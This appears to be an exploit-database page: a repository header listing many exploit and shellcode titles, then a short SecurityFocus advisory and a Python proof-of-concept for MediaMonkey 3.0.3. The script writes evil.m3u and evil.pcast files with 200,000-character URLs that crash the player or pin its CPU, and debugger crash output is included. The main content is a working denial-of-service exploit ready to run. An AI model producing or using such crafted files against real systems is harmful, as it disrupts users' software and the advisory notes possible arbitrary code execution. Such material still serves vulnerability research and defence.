880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
57 lines
No EOL
2.7 KiB
Python
Executable file
57 lines
No EOL
2.7 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/30251/info
|
|
|
|
MediaMonkey is prone to two denial-of-service vulnerabilities because it fails to handle user-supplied input.
|
|
|
|
An attacker can exploit these issues to crash the application. Given the nature of these vulnerabilities, the attacker may also be able to execute arbitrary code, but this has not been confirmed.
|
|
|
|
MediaMonkey 3.0.3 is vulnerable; other versions may also be affected.
|
|
|
|
#!/usr/bin/python
|
|
# MediaMonkey 3.0.3 [.m3u] & [.pcast] url handling DOS
|
|
#This script will generate 2 files called evil.m3u and evil.pcast.
|
|
#In both cases the vulnerability resides in failure to handle overly long urls.
|
|
#[.m3u descr]
|
|
#The vulnerability exists in several places within the url.In this case
|
|
#we are going to use the file name part of the url.
|
|
#Open evil.m3u in MediaMonkey then play it.Or double click the .m3u file
|
|
#and it will try to play automatically.
|
|
#Debugger output on crash:
|
|
# ----------------------------------------------------------------
|
|
# Exception C0000005 (ACCESS_VIOLATION reading [31F518F0])
|
|
# ----------------------------------------------------------------
|
|
# EAX=FFFFFFFF: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
|
|
# EBX=00000002: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
|
|
# ECX=0CF203D9: 2F 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
|
|
# EDX=0CF203D9: 2F 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
|
|
# ESP=0CC5AF38: 31 32 37 2E 30 2E 30 2E-31 2F 41 41 41 41 41 41
|
|
# EBP=0CCBFF7C: B4 FF CB 0C 18 63 54 03-B8 49 55 03 08 3F 5B 03
|
|
# ESI=25031517: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
|
|
# EDI=0CCBFF5D: 03 F2 0C D9 03 F2 0C 26-00 00 00 48 00 F1 0C 78
|
|
# EIP=035445A8: 8A 14 0E 8D 04 0E 80 FA-2F 0F 84 13 01 00 00 80
|
|
# --> MOV DL,[ESI+ECX*1]
|
|
# ----------------------------------------------------------------
|
|
#
|
|
#[.pcast descr]
|
|
#Just as in the .m3u case the vulnerability manifests in several places within
|
|
#the url.In this case we will use the filename too.
|
|
#Double click or "open with" evil.pcast in MediaMonkey.The program will
|
|
#start consuming 100% cpu thus becaming unusable.
|
|
#
|
|
#Found by: Shinnok raydenxy [at] yahoo dot com
|
|
m3u = 'http://127.0.0.1/'
|
|
badstr = 'A' * 200000
|
|
m3u += badstr
|
|
m3u += '.mp3'
|
|
|
|
f = open('evil.m3u','wb')
|
|
f.write(m3u);
|
|
f.close
|
|
|
|
pcast = '<?xml version="1.0" encoding="UTF-8"?>\n<pcast version="1.0">\n<channel>\n<link rel="feed" type="application/rss+xml" href="http://127.0.0.1/'
|
|
badstr = 'A'* 200000
|
|
pcast += badstr
|
|
pcast += '.xml"/></link>\n</channel>\n</pcast>\n'
|
|
|
|
f = open('evil.pcast','wb')
|
|
f.write(pcast);
|
|
f.close |